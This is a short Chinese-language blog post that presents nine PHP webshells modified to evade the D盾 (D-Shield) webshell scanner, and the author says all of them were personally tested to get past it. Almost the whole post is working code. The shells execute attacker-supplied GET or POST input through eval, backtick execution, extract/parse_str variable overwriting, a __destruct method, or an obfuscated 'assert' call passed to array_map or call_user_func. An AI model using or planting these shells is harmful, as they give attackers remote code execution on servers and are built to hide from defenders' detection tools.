0x00 前言

最近在测试过程中遇到了D盾,悲催的发现所有过D盾的webshell都被查杀了。因此就在网上搜索了一些之前可以过D盾的shell,然后将其做了一些变形(有一些shell没有更改),使其可以过D盾。本次一共奉献上9个可过D盾的shell,全部亲测可过。

0x01 extract 变量覆盖过D盾

<?php  $a=1;$b=$_POST;extract($b);print_r(`$a`)?>

0x02 parse_str 变量覆盖过D盾

<?php  $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>

0x03 __destruct 析构函数过D盾

<?php 

class User
{
  public $name = '';

  function __destruct(){
    eval("$this->name");
  }
}

$user = new User;
$user->name = ''.$_POST['name'];
?>

0x04 null 拼接过D盾

<?php

$name = $_GET['name'];

$name1=$name2= null;

eval($name1.$name2.$name);

?>

0x05 '' 拼接过D盾

<?php

$name = $_GET['name'];

$name1=$name2= '';

eval($name1.$name2.$name);

?>

0x06 '' null 拼接过D盾

<?php
$a = $_GET['a'];
$c = null;
eval(''.$c.$a);

?>

0x07 array_map函数过D盾

<?php
function user()
{
$a123 =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return ''.$a123;
}
$a123 = user();
$x123 =array($_GET['x']);
array_map($a123,$a123 = $x123 );
?>

0x08 call_user_func_array函数过D盾

<?php

function a(){
     return 'assert';
}
$a=a();
$aa = array($_GET['x']);
call_user_func_array($a,$a=$aa);
?>

0x09 call_user_func函数过D盾

<?php
function a(){
     return 'assert';
}
$a=a();
$aa=$_GET['x'];
call_user_func($a,$a=$aa);
?>

源链接

Hacking more

...